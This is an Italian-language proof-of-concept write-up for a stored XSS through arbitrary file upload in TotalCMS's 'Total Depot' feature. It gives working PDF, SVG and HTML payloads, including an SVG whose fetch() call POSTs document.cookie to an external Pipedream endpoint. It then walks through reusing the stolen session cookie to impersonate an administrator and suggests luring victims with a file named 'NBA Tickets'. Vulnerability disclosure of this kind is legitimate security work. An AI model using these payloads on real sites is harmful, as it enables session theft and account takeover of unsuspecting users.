
TotalCMS è affetto da una vulnerabilità Arbitrary File Upload - XSS che consente Cross-Site Scriting (XSS) Stored e anche il furto dei cookie di sessione.
Descrizione: TotalCMS è affetto da una vulnerabilità di Caricamento Arbitrario di File - XSS che consente Cross-Site Scripting (XSS) e anche il furto dei cookie di sessione.
Vettori di attacco: Una vulnerabilità nella sanificazione del caricamento file di "Total Depot" consente di caricare un file PDF / SVG / HTML con un alert nascosto di Cross-Site Scripting (XSS) e rubare i cookie dell'utente.
Farò 2 PoC:
Iniziamo con il primo PoC:
Quando accediamo al pannello di amministrazione (), andiamo al "Total Depot" del Sito di Amministrazione e carichiamo i file PDF / SVG e HTML con l'XSS nascosto.
Modifichiamo il payload per rubare i cookie e inviarli alla richiesta di Pipedream, in modo da poter impersonare l'utente. Ora impersoneremo l'utente. Per testarlo, apriamo una sessione su TotalCMS/admin in un altro browser e apriamo il componente aggiuntivo "Cookie Editor".Ecco i payload:
È un payload XSS generato con lo strumento JS2PDFInjector e un payload js che contiene il seguente contenuto:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>


Una volta caricati, se clicchiamo sul link possiamo vedere il percorso in cui sono memorizzati:

Percorso dei file:



E questo è il risultato con il Cross-Site Scripting (XSS) dei 3 tipi di file e con i cookie dell'utente:



Continuiamo con il secondo PoC:
Fingeremo di essere un criminale informatico e ruberemo i cookie di sessione dell'utente, che verranno inviati al server.
In questo caso ho caricato un file come PoC, ma in un caso reale possiamo caricare un file con un nome interessante "NBA Tickets" e pubblicarlo, così che la vittima mi invii i cookie quando esegue il file, senza accorgersene.
Prima di tutto, eseguiamo un test per verificare se abbiamo comunicazione con un server esterno.
Ecco il payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>


Come vediamo nella richiesta di Pipedream, abbiamo ottenuto correttamente la richiesta.
Ecco il payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
Lo eseguiamo:


Come vediamo nell'immagine, abbiamo ottenuto correttamente i cookie di sessione dell'utente.

Modifichiamo il cookie di sessione con quello ottenuto in Pipedream e salviamo.

Abbiamo ricaricato il sito web e abbiamo impersonato l'utente amministratore.
